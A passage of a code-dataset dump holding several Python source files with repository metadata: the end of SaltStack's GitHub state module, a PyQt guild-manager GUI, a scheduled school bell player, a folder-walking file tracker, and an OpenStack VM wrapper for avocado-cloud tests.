__opts__[\"test\"] and not target:\n            # Assume no teams if we're in test mode and the repo doesn't exist\n            current_teams = []\n        elif current_teams is None:\n            current_teams = __salt__[\"github.get_repo_teams\"](name, profile=profile)\n        current_team_names = {t[\"name\"] for t in current_teams}\n\n        # First remove any teams that aren't present\n        for team_name in current_team_names:\n            if team_name not in teams:\n                team_change = {\n                    \"old\": \"Repo {} is in team {}\".format(name, team_name),\n                    \"new\": \"Repo {} is not in team {}\".format(name, team_name),\n                }\n\n                if __opts__[\"test\"]:\n                    ret[\"changes\"][team_name] = team_change\n                    ret[\"result\"] = None\n                else:\n                    result = __salt__[\"github.remove_team_repo\"](\n                        name, team_name, profile=profile\n                    )\n                    if result:\n                        ret[\"changes\"][team_name] = team_change\n                    else:\n                        ret[\"result\"] = False\n                        ret[\n                            \"comment\"\n                        ] = \"Failed to remove repo {} from team {}.\".format(\n                            name, team_name\n                        )\n                        return ret\n\n        # Next add or modify any necessary teams\n        for team_name, permission in teams.items():\n            if team_name not in current_team_names:  # Need to add repo to team\n                team_change = {\n                    \"old\": \"Repo {} is not in team {}\".format(name, team_name),\n                    \"new\": \"Repo {} is in team {}\".format(name, team_name),\n                }\n                if __opts__[\"test\"]:\n                    ret[\"changes\"][team_name] = team_change\n                    ret[\"result\"] = None\n                else:\n                    result = __salt__[\"github.add_team_repo\"](\n                        name, team_name, profile=profile, permission=permission\n                    )\n                    if result:\n                        ret[\"changes\"][team_name] = team_change\n                    else:\n                        ret[\"result\"] = False\n                        ret[\n                            \"comment\"\n                        ] = \"Failed to remove repo {} from team {}.\".format(\n                            name, team_name\n                        )\n                        return ret\n            else:\n                current_permission = (\n                    __salt__[\"github.list_team_repos\"](team_name, profile=profile)\n                    .get(name.lower(), {})\n                    .get(\"permission\")\n                )\n                if not current_permission:\n                    ret[\"result\"] = False\n                    ret[\"comment\"] = (\n                        \"Failed to determine current permission for team \"\n                        \"{} in repo {}\".format(team_name, name)\n                    )\n                    return ret\n                elif current_permission != permission:\n                    team_change = {\n                        \"old\": \"Repo {} in team {} has permission {}\".format(\n                            name, team_name, current_permission\n                        ),\n                        \"new\": \"Repo {} in team {} has permission {}\".format(\n                            name, team_name, permission\n                        ),\n                    }\n                    if __opts__[\"test\"]:\n                        ret[\"changes\"][team_name] = team_change\n                        ret[\"result\"] = None\n                    else:\n                        result = __salt__[\"github.add_team_repo\"](\n                            name, team_name, profile=profile, permission=permission\n                        )\n                        if result:\n                            ret[\"changes\"][team_name] = team_change\n                        else:\n                            ret[\"result\"] = False\n                            ret[\"comment\"] = (\n                                \"Failed to set permission on repo {} from \"\n                                \"team {} to {}.\".format(name, team_name, permission)\n                            )\n                            return ret\n    return ret\n\n\ndef repo_absent(name, profile=\"github\", **kwargs):\n    \"\"\"\n    Ensure a repo is absent.\n\n    Example:\n\n    .. code-block:: yaml\n\n        ensure repo test is absent in github:\n            github.repo_absent:\n                - name: 'test'\n\n    The following parameters are required:\n\n    name\n        This is the name of the repository in the organization.\n\n    .. versionadded:: 2016.11.0\n    \"\"\"\n    ret = {\"name\": name, \"changes\": {}, \"result\": None, \"comment\": \"\"}\n\n    try:\n        target = __salt__[\"github.get_repo_info\"](name, profile=profile, **kwargs)\n    except CommandExecutionError:\n        target = None\n\n    if not target:\n        ret[\"comment\"] = \"Repo {} does not exist\".format(name)\n        ret[\"result\"] = True\n        return ret\n    else:\n        if __opts__[\"test\"]:\n            ret[\"comment\"] = \"Repo {} will be deleted\".format(name)\n            ret[\"result\"] = None\n            return ret\n\n        result = __salt__[\"github.remove_repo\"](name, profile=profile, **kwargs)\n\n        if result:\n            ret[\"comment\"] = \"Deleted repo {}\".format(name)\n            ret[\"changes\"].setdefault(\"old\", \"Repo {} exists\".format(name))\n            ret[\"changes\"].setdefault(\"new\", \"Repo {} deleted\".format(name))\n            ret[\"result\"] = True\n        else:\n            ret[\"comment\"] = (\n                \"Failed to delete repo {}. Ensure the delete_repo \"\n                \"scope is enabled if using OAuth.\".format(name)\n            )\n            ret[\"result\"] = False\n    return ret\n", "repo_name": "saltstack/salt", "sub_path": "salt/states/github.py", "file_name": "github.py", "file_ext": "py", "file_size_in_byte": 27908, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13606, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 338, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 338, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 338, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 445, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 445, "usage_type": "attribute"}, {"api_name": "salt.exceptions.CommandExecutionError", "line_number": 573, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 644, "usage_type": "call"}, {"api_name": "salt.exceptions.CommandExecutionError", "line_number": 650, "usage_type": "name"}, {"api_name": "salt.exceptions.CommandExecutionError", "line_number": 782, "usage_type": "name"}]}
{"seq_id": "5818456126", "text": "from PyQt5.QtGui import QPixmap, QIcon, QFont\nfrom PyQt5.QtWidgets import *\nfrom PyQt5 import uic\n\nimport guildParser as GP\nimport ImageLoad as IML\n\nimport pandas\nimport os\n\n#UI파일 연결\nform_class = uic.loadUiType(\"./src/UI/main.ui\")[0]\n\n#화면을 띄우는데 사용되는 Class 선언\nclass MainWindow(QMainWindow, form_class) :\n    members = []\n    def __init__(self) :\n        super().__init__()\n        self.setupUi(self)\n        self.setWindowTitle('Maple Guild Manager V1.1.0')\n\n        #버튼 객체에 함수 연결\n        self.searchBtn.clicked.connect(self.search)\n        self.imgBtn.clicked.connect(self.setImage)\n        self.saveBtn.clicked.connect(self.exportExel)\n\n        #배경화면 설정\n        try:\n            qPixmapVar = QPixmap()\n            qPixmapVar.load(\"src/img/background1.png\")\n            self.background.setPixmap(qPixmapVar)\n        except:\n            print(\"background image err\")\n\n        #아이콘 설정\n        try:\n            self.setWindowIcon(QIcon('src/img/icon3.jpg'))\n        except:\n            print('Icon err')\n\n    def search(self):\n        SearchWindow(self)\n\n    def setImage(self):\n        self.imload = IML.AppDemo(self)\n        self.imload.show()\n\n    def setData(self, members):\n        self.members = members\n        self.updateTable()\n\n    #members 배열의 정보를 윈도우 테이블에 반영\n    def updateTable(self):\n        tb = self.table\n        tb.clearContents()\n\n        # item = QTableWidgetItem('hello')\n        tb.setRowCount(len(self.members))\n\n        # 테이블에 배열 정보대로 출력\n        for i in range(len(self.members)):\n            # print(members[i])\n            name = QTableWidgetItem(self.members[i][0])\n            position = QTableWidgetItem(self.members[i][1])\n            level = QTableWidgetItem(self.members[i][2])\n            mission = QTableWidgetItem(self.members[i][-3])\n            suro = QTableWidgetItem(self.members[i][-2])\n            flag = QTableWidgetItem(self.members[i][-1])\n            tb.setItem(i, 0, name)\n            tb.setItem(i, 1, position)\n            tb.setItem(i, 2, level)\n            tb.setItem(i, 3, mission)\n            tb.setItem(i, 4, suro)\n            tb.setItem(i, 5, flag)\n        print('updated Table')\n\n\n    def exportExel(self):\n        colHeader = []\n\n        if self.table.model().rowCount()==0:\n            print('입력된 데이터가 없습니다')\n            reply = QMessageBox.question(self, 'nothing', '데이터를 입력 후 저장해주세요', QMessageBox.Yes)\n            return;\n\n        # 열의 헤더 리스트\n        for i in range(self.table.model().columnCount()):\n            colHeader.append(self.table.horizontalHeaderItem(i).text())\n\n        # 데이터프레임 생성\n        df = pandas.DataFrame(columns=colHeader)\n\n        for  row in range(self.table.rowCount()):\n            for col in range(self.table.columnCount()):\n                df.at[row, colHeader[col]] = self.table.item(row, col).text()\n\n        createFolder('scores')\n        rename = renameFile(\"scores/flag_score.csv\")\n        try:\n            df.to_csv(rename, encoding='utf-8-sig', index=False)\n            reply = QMessageBox.question(self, '무야호~', '저장이 완료되었습니다', QMessageBox.Yes)\n        except OSError:\n            print('err')\n\n    #화면 크기에 따른 UI배치의 변화\n    def resizeEvent(self, *args, **kwargs):\n        self.table.resize(self.width()*0.9, self.height()*0.7)\n        self.imgBtn.move(self.width()*0.55,self.height()*0.9)\n        self.saveBtn.move(self.width() * 0.75, self.height() * 0.9)\n\n\n#폴더 생성\ndef createFolder(directory):\n    try:\n        if not os.path.exists(directory):\n            os.makedirs(directory)\n    except OSError:\n        print('Error: Creating directory. ' + directory)\n\n#중복된 파일 이름 방지위해 새로운 파일명 반환, 파일이름 뒤에 알맞은 숫자 추가\ndef renameFile(fpath):\n    try:\n        n=0\n        rename = fpath\n        fname, ext = os.path.splitext(fpath) #경로 및 이름, 확장자\n        while os.path.isfile(rename):\n            n+=1\n            rename = fname+'_'+str(n)+ext\n        print(rename)\n        return rename\n    except OSError:\n        print('Error: Creating file. ' + fname)\n\n\n\n#길드 검색 화면 클래스\nclass SearchWindow(QDialog):\n    def __init__(self, parent):\n        super(SearchWindow, self).__init__(parent)\n        guild_search = './src/UI/guild_search.ui'\n        uic.loadUi(guild_search, self)\n        self.show()\n\n        self.parent = parent\n\n        #이벤트 연결\n        self.searchTxt.returnPressed.connect(self.search)\n        self.searchBtn.clicked.connect(self.search)\n        self.guildList.itemDoubleClicked.connect(self.selected)\n        self.getMembers.clicked.connect(self.selected)\n\n        #리스트트리 루트 설정\n        self.root = self.guildList.invisibleRootItem()\n\n    #길드 검색\n    def search(self):\n        guildName = self.searchTxt.text()\n        self.guildList.clear()\n\n        #길드 검색\n        self.searched = GP.search(guildName)\n\n        #길드 리스트에 추가\n        for guild in self.searched:\n            item = QTreeWidgetItem()\n            item.setText(0, guild[2])\n            item.setText(1, guildName)\n            item.setText(2, guild[1])\n            self.root.addChild(item)\n            #print(guild)\n\n    #길드 선택\n    def selected(self):\n        #현재 선택된 항목의 인덱스\n        current = self.guildList.currentItem()\n        index = self.guildList.indexOfTopLevelItem(current)\n        #print(self.searched[index])\n        code = self.searched[index][0]\n        reply = QMessageBox.question(self, '아잉의 경고', '정말로 길드원 정보를 불러오시겠습니까? '\n                                                      '\\n (저장되지 않은 정보는 초기화 됩니다)',\n                             QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\n\n        if reply == QMessageBox.Yes:\n            members = GP.find_all_page(code)\n            self.parent.setData(members)\n            self.close()\n        else:\n            print('do nothing')\n", "repo_name": "qr96/Guild-Manager", "sub_path": "src/GUI.py", "file_name": "GUI.py", "file_ext": "py", "file_size_in_byte": 6161, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PyQt5.uic.loadUiType", "line_number": 12, "usage_type": "call"}, {"api_name": "PyQt5.uic", "line_number": 12, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 29, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 37, "usage_type": "call"}, {"api_name": "ImageLoad.AppDemo", "line_number": 45, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path", "line_number": 125, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path", "line_number": 126, "usage_type": "attribute"}, {"api_name": "PyQt5.uic.loadUi", "line_number": 141, "usage_type": "call"}, {"api_name": "PyQt5.uic", "line_number": 141, "usage_type": "name"}, {"api_name": "guildParser.search", "line_number": 161, "usage_type": "call"}, {"api_name": "guildParser.find_all_page", "line_number": 184, "usage_type": "call"}]}
{"seq_id": "11922426500", "text": "import sounddevice\nimport soundfile\nimport time\nimport threading\nimport os,json,sys\ndef play(files,de):\n    print(time.strftime(\"[%Y-%m-%d %H:%M:%S]\",time.localtime(time.time())),end=\"\")\n    if files == \"data/start.wav\":\n        print(f'{de}:播放上课铃')\n    if files == \"data/end.wav\":\n        print(f'{de}:播放下课铃')\n    if files == \"data/eye.wav\":\n        print(f'{de}:播放眼保健操铃声')\n    array, smp_rt = soundfile.read(files, dtype = 'float32') \n    sounddevice.play(array,smp_rt,device=de)\n    sounddevice.wait()\n\ndef seeforclass(start,end,eye,de):\n    while True:\n        if time.strftime('%H:%M:%S',time.localtime(time.time())) in start:\n            play('data/start.wav',de)\n        if time.strftime('%H:%M:%S',time.localtime(time.time())) in end:\n            play('data/end.wav',de)\n        if time.strftime('%H:%M:%S',time.localtime(time.time())) in eye:\n            play('data/eye.wav',de)\n        time.sleep(0.1)\n\ndef seeforme(start,end,eye,de):\n    while True:\n        if time.strftime('%H:%M:%S',time.localtime(time.time())) in start:\n            play('data/start.wav',de)\n        if time.strftime('%H:%M:%S',time.localtime(time.time())) in end:\n            play('data/end.wav',de)\n        if time.strftime('%H:%M:%S',time.localtime(time.time())) in eye:\n            play('data/eye.wav',de)\n        time.sleep(0.1)\n\n\nif __name__ =='__main__':\n    if not os.path.exists('config.json'):#生成\n        basic = {'start':['07:59:03','08:59:03','10:19:03',\"12:59:03\",\"13:59:03\",\"14:59:03\",\"15:59:03\"],\n            'end':['08:45:00',\"11:05:00\",\"13:45:00\",\"15:45:00\",\"16:45:00\"],\n            'eye':[\"09:45:00\",'14:45:00'],\n            'de_class':'CABLE Input (VB-Audio Virtual C, MME',\n            'de_me':'LG IPS FULLHD (NVIDIA High Defi, MME'}\n        json.dump(basic,open('config.json','w'),indent=4)\n        time.sleep(0.3)\n        print(\"配置文件生成完毕，请前往'config.json'完成设置~\")\n        os.system('pause')\n    data = json.load(open('config.json','r'))\n    start = data['start']\n    end = data['end']\n    eye = data['eye']\n    de_class = data[\"de_class\"]\n    de_me=data['de_me']\n    t1 = threading.Thread(name='t1',target=seeforclass,args=[start,end,eye,de_class],daemon=True)\n    t2 = threading.Thread(name='t2',target=seeforme,args=[start,end,eye,de_me],daemon=True)\n    t1.start()\n    t2.start()\n    while True:\n        a = input(\"1:关闭铃声，2:播放上课铃，3：播放下课铃，4：播放眼保健操铃声\\n\")\n        if a == \"1\":\n            python = sys.executable\n            os.execl(python, python, *sys.argv)\n        if a == \"2\":\n            t3=threading.Thread(name='t3',target=play,args=['data/start.wav',de_class],daemon=True)\n            t4=threading.Thread(name='t4',target=play,args=['data/start.wav',de_me],daemon=True)\n            t3.start()\n            t4.start()\n        if a == \"3\":\n            t5=threading.Thread(name='t5',target=play,args=['data/end.wav',de_class],daemon=True)\n            t6=threading.Thread(name='t6',target=play,args=['data/end.wav',de_me],daemon=True)\n            t5.start()\n            t6.start()\n        if a == \"4\":\n            t7=threading.Thread(name='t7',target=play,args=['data/eye.wav',de_class],daemon=True)\n            t8=threading.Thread(name='t8',target=play,args=['data/eye.wav',de_me],daemon=True)\n            t7.start()\n            t8.start()", "repo_name": "EasonHelloWord/ring-bell", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3372, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "time.strftime", "line_number": 7, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 7, "usage_type": "call"}, {"api_name": "time.time", "line_number": 7, "usage_type": "call"}, {"api_name": "soundfile.read", "line_number": 14, "usage_type": "call"}, {"api_name": "sounddevice.play", "line_number": 15, "usage_type": "call"}, {"api_name": "sounddevice.wait", "line_number": 16, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 20, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 20, "usage_type": "call"}, {"api_name": "time.time", "line_number": 20, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 22, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 22, "usage_type": "call"}, {"api_name": "time.time", "line_number": 22, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 24, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 24, "usage_type": "call"}, {"api_name": "time.time", "line_number": 24, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 26, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 30, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 30, "usage_type": "call"}, {"api_name": "time.time", "line_number": 30, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 32, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 32, "usage_type": "call"}, {"api_name": "time.time", "line_number": 32, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 34, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 34, "usage_type": "call"}, {"api_name": "time.time", "line_number": 34, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 46, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 47, "usage_type": "call"}, {"api_name": "os.system", "line_number": 49, "usage_type": "call"}, {"api_name": "json.load", "line_number": 50, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 56, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 57, "usage_type": "call"}, {"api_name": "sys.executable", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.execl", "line_number": 64, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 64, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 66, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 67, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 71, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 72, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 76, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 77, "usage_type": "call"}]}
{"seq_id": "27273826017", "text": "\"\"\"Returns list of active files across three distributions folders\"\"\"\n\nimport pathlib\nimport os\nimport time\nimport datetime\nfrom functools import wraps\n\n\ndef timeit(function):\n    \"\"\"Decorator to time a function\"\"\"\n    @wraps(function)\n    def wrapper(*args, **kwargs):\n        print('==Start Timer==')\n        start = time.time() * 1000.0\n        function(*args)\n        end = time.time() * 1000.0\n        print(f'{function.__name__} took {int(end-start)} '\n              f'milliseconds to complete')\n    return wrapper\n\n@timeit\ndef main():\n\n    top_folder_path = pathlib.Path(\n        r'C:\\Users\\jmscl\\Programming\\petprojects\\folderwalking\\Requests')\n\n    created_date = files_in_process(top_folder_path)\n\n    list_creation(created_date)\n\n    prev_day_comparison(created_date)\n\n    completed_files = completed_day_calculation(created_date)\n\n    completed_list_update(completed_files)\n\n\ndef files_in_process(top_folder_path):\n    \"\"\"Return in process files.\"\"\"\n\n    final_total = 0\n    folder_names_count = []\n    created_date = []\n    for folder_path in top_folder_path.glob('**\\*.txt'):\n        result = str(folder_path).split('\\\\')\n        folder = result[-2]\n        folder_names_count.append(folder)\n        file_name = result[-1][:-4]\n        if file_name not in created_date:\n            path = os.path.abspath(folder_path)\n            created_time = time.gmtime(os.path.getctime(path))\n            created_time = time.strftime(\"%m/%d/%y\", created_time)\n            created_date.append((file_name, created_time))\n        final_total += 1\n    folder_names_set = set(folder_names_count)\n    print('There are {} files in process'.format(final_total))\n    for folder in folder_names_set:\n        file_count = folder_names_count.count(folder)\n        print('{} files in {}'.format(file_count, folder))\n    return created_date\n\n\ndef list_creation(created_date):\n    \"\"\"saves list to file\"\"\"\n\n    created_date.sort(key=lambda x: x[1])\n    f = open('current_day.txt', 'w')\n    for i in created_date:\n        f.write(i[0] + ' ' + i[1] + '\\n')\n    f.close()\n\n\ndef prev_day_comparison(created_date):\n    \"\"\"Creates lists for the current day and the ongoing completed list\"\"\"\n\n    g = open('completed.txt', 'r')\n    line_g = g.readline()\n    check_list_completed = []\n    for line_g in g:\n        parts = line_g.split(' ')\n        check_list_completed.append(parts[0])\n    g.close()\n    g = open('completed.txt','a')\n    for i in created_date:\n        if i[0] in check_list_completed:\n            pass\n        else:\n            g.write(i[0] + ' ' + i[1] +'\\n')\n    g.close()\n\n\ndef completed_day_calculation(created_date):\n    \"\"\"returns days from created date to current day for completed files\"\"\"\n\n    g = open('completed.txt', 'r+')\n    line_g = g.readline()\n    name_created_date = [i[0] for i in created_date]\n    today = datetime.date.today()\n    completed_files = []\n    for line_g in g:\n        split_line_g = line_g.split(' ')\n        if split_line_g[0] not in name_created_date:\n            date_formatted = split_line_g[1].rsplit('\\n')\n            split_line_g[1] = date_formatted\n            date_formatted_parts = date_formatted[0].split('/')\n            file_create_date = datetime.date(2000 +\n                                             int(date_formatted_parts[2]),\n                                             int(date_formatted_parts[0]),\n                                             int(date_formatted_parts[1])\n                                             )\n            time_in_progress = today - file_create_date\n            completed_item = [split_line_g[0], date_formatted[0],\n                  today.strftime('%m/%d/%y'),\n                  str(time_in_progress)]\n            completed_files.append(completed_item)\n            #add removal of completed files after testing\n        else:\n            pass\n    g.close()\n    return completed_files\n\n\ndef completed_list_update(completed_files):\n    \"\"\"adds competed date to the files on the completed.txt\"\"\"\n    with open('completed.txt', 'r+') as completed_txt_contents:\n        completed_data = completed_txt_contents.readlines()\n    completed_data = [file.split(' ') for file in completed_data]\n    for file in completed_files:\n        file[0] in [elem for sublist in completed_data for elem in sublist]\n\n\n\nmain()\n", "repo_name": "jmsclwsn/folderwalking", "sub_path": "folderwalker program file/folderwalker.py", "file_name": "folderwalker.py", "file_ext": "py", "file_size_in_byte": 4282, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "time.time", "line_number": 15, "usage_type": "call"}, {"api_name": "time.time", "line_number": 17, "usage_type": "call"}, {"api_name": "functools.wraps", "line_number": 12, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "time.gmtime", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.getctime", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "time.strftime", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 99, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 99, "usage_type": "attribute"}, {"api_name": "datetime.date", "line_number": 107, "usage_type": "call"}]}
{"seq_id": "8879116522", "text": "from ..base import VM\nfrom avocado_cloud.utils import utils_misc\nimport openstack\nimport logging\n\nopenstack.enable_logging(debug=True)\n\nLOG = logging.getLogger('avocado.test')\nlogging.basicConfig(level=logging.DEBUG)\n\nclass OpenstackVM(VM):\n    def __init__(self, params, **kwargs):\n        super(OpenstackVM, self).__init__(params)\n        self._data = None\n\n        # Openstack connection credentials\n        auth_url = params.get('auth_url', '*/Cloud/*')\n        project_name = params.get('project_name', '*/Cloud/*')\n        project_domain_name = params.get('project_domain_name', '*/Cloud/*')\n        user_domain_name = params.get('user_domain_name', '*/Cloud/*')\n        username = params.get('username', '*/Credential/*')\n        password = params.get('password', '*/Credential/*')\n\n        self.conn = openstack.connect(auth_url=auth_url,\n                                      project_name=project_name,\n                                      project_domain_name=project_domain_name,\n                                      user_domain_name=user_domain_name,\n                                      username=username,\n                                      password=password)\n\n        # VM creation parameters\n        self.vm_name = params.get('vm_name', '*/VM/*')\n        self.image_name = params.get('image_name', '*/VM/*')\n        self.network_name = params.get('network_name', '*/VM/*')\n        self.network_id = params.get('network_id', '*/VM/*')\n        self.floating_network_id = params.get('floating_network_id', '*/VM/*',\n                                              '')\n        self.flavor = params.get('name', '*/Flavor/*')\n        self.flavor_id = params.get('id', '*/Flavor/*')\n        self.size = params.get('size', '*/Flavor/*')\n        self.keypair = params.get('keypair', '*/VM/*')\n        self.user_data = None\n        self.config_drive = None\n        self.second_nic_id = None\n\n        # VM creation timeout\n        self.create_timeout = kwargs.get(\"create_timeout\")\n\n        # VM access parameters\n        self.vm_username = params.get('username', '*/VM/*')\n        self.vm_password = params.get('password', '*/VM/*', '')\n\n        #package info\n        self.package_url = params.get('package_url', '*/VM/*')\n        self.y_stream = params.get('y_stream', '*/VM/*')\n\n        self.arch = 'x86_64'\n\n    @property\n    def data(self):\n        if not self._data:\n            self.data = self.vm_name\n        return self._data\n\n    @data.setter\n    def data(self, name):\n        for server in self.conn.compute.servers(name=name):\n            self._data = server\n\n    @property\n    def floating_ip(self):\n        f_ip = None\n        for net in self.data.addresses.values():\n            for ip in net:\n                if ip['OS-EXT-IPS:type'] == 'floating':\n                    f_ip = ip['addr']\n                elif ip['OS-EXT-IPS:type'] == 'fixed' and  ip['version']== 4:\n                    f_ip = ip['addr']\n        return f_ip\n\n    def create(self, wait=False, auto_ip=True):\n        image_id = self.conn.compute.find_image(self.image_name).id\n\n        args = {\n            'name': self.vm_name,\n            'image_id': image_id,\n            'flavor_id': self.flavor_id,\n            'networks': [{\n                \"uuid\": self.network_id\n            }],\n        }\n        if self.keypair:\n            args['key_name'] = self.keypair\n        if self.user_data:\n            args['user_data'] = self.user_data\n        if self.config_drive:\n            args['config_drive']= True\n        if self.second_nic_id:\n            args['networks'].append({\"uuid\": self.second_nic_id })\n\n        server = self.conn.compute.create_server(**args)\n\n        if wait:\n            if self.create_timeout:\n                server = self.conn.compute.wait_for_server(\n                    server=server, wait=self.create_timeout)\n            else:\n                server = self.conn.compute.wait_for_server(server)\n            if auto_ip and self.floating_network_id != '':\n                f_ip = self.conn.network.create_ip(\n                    floating_network_id=self.floating_network_id)\n                self.conn.compute.add_floating_ip_to_server(\n                    server, f_ip.floating_ip_address)\n        self._data = None\n\n    def delete(self, wait=False):\n        f_ip = self.floating_ip\n        if f_ip and self.floating_network_id != '':\n            f_ip_id = self.conn.network.find_ip(f_ip)\n            self.conn.network.delete_ip(f_ip_id)\n\n        self.conn.compute.delete_server(self.data.id)\n\n        if wait:\n            for count in utils_misc.iterate_timeout(\n                    60, \"Timed out waiting for server to get deleted.\"):\n                if not self.exists():\n                    break\n\n    def start(self, wait=False):\n        self.conn.compute.start_server(self.data.id)\n        if wait:\n            for count in utils_misc.iterate_timeout(\n                    60, \"Timed out waiting for server to get started.\"):\n                if self.is_started():\n                    break\n\n    def stop(self, wait=False):\n        self.conn.compute.stop_server(self.data.id)\n        if wait:\n            for count in utils_misc.iterate_timeout(\n                    60, \"Timed out waiting for server to get stopped.\"):\n                if self.is_stopped():\n                    break\n\n    def reboot(self, wait=False):\n        self.conn.compute.reboot_server(self.data.id, 'SOFT')\n        if wait:\n            for count in utils_misc.iterate_timeout(\n                    60, \"Timed out waiting for server to get rebooted.\"):\n                if self.is_started():\n                    break\n\n    def pause(self, wait=False):\n        self.conn.compute.pause_server(self.data.id)\n        if wait:\n            for count in utils_misc.iterate_timeout(\n                    60, \"Timed out waiting for server to get paused.\"):\n                if self.is_paused():\n                    break\n\n    def unpause(self, wait=False):\n        self.conn.compute.unpause_server(self.data.id)\n        if wait:\n            for count in utils_misc.iterate_timeout(\n                    60, \"Timed out waiting for server to get unpaused.\"):\n                if self.is_started():\n                    break\n\n    def exists(self):\n        count = sum(1 for i in self.conn.compute.servers(name=self.vm_name))\n        if count > 0:\n            return True\n        else:\n            return False\n\n    def _get_status(self):\n        self.data = self.vm_name\n        return self.data.status\n\n    def is_started(self):\n        return self._get_status() == 'ACTIVE'\n\n    def is_stopped(self):\n        return self._get_status() == 'SHUTOFF'\n\n    def is_paused(self):\n        return self._get_status() == 'PAUSED'\n\n    def show(self):\n        return self.data\n    \n    def get_console_log(self):\n        try:\n            output = self.conn.compute.get_server_console_output(self.data.id).get('output')\n            return True, output\n        except Exception as err:\n            LOG.error(\"Failed to get console log! %s\" % err)\n            return False, err", "repo_name": "virt-s1/avocado-cloud", "sub_path": "avocado_cloud/app/openstack/sdk.py", "file_name": "sdk.py", "file_ext": "py", "file_size_in_byte": 7037, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "81", "api": [{"api_name": "openstack.enable_logging", "line_number": 6, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 9, "usage_type": "attribute"}, {"api_name": "base.VM", "line_number": 11, "usage_type": "name"}, {"api_name": "openstack.connect", "line_number": 24, "usage_type": "call"}, {"api_name": "avocado_cloud.utils.utils_misc.iterate_timeout", "line_number": 125, "usage_type": "call"}, {"api_name": "avocado_cloud.utils.utils_misc", "line_number": 125, "usage_type": "name"}, {"api_name": "avocado_cloud.utils.utils_misc.iterate_timeout", "line_number": 133, "usage_type": "call"}, {"api_name": "avocado_cloud.utils.utils_misc", "line_number": 133, "usage_type": "name"}, {"api_name": "avocado_cloud.utils.utils_misc.iterate_timeout", "line_number": 141, "usage_type": "call"}, {"api_name": "avocado_cloud.utils.utils_misc", "line_number": 141, "usage_type": "name"}, {"api_name": "avocado_cloud.utils.utils_misc.iterate_timeout", "line_number": 149, "usage_type": "call"}, {"api_name": "avocado_cloud.utils.utils_misc", "line_number": 149, "usage_type": "name"}, {"api_name": "avocado_cloud.utils.utils_misc.iterate_timeout", "line_number": 157, "usage_type": "call"}, {"api_name": "avocado_cloud.utils.utils_misc", "line_number": 157, "usage_type": "name"}, {"api_name": "avocado_cloud.utils.utils_misc.iterate_timeout", "line_number": 165, "usage_type": "call"}, {"api_name": "avocado_cloud.utils.utils_misc", "line_number": 165, "usage_type": "name"}]}
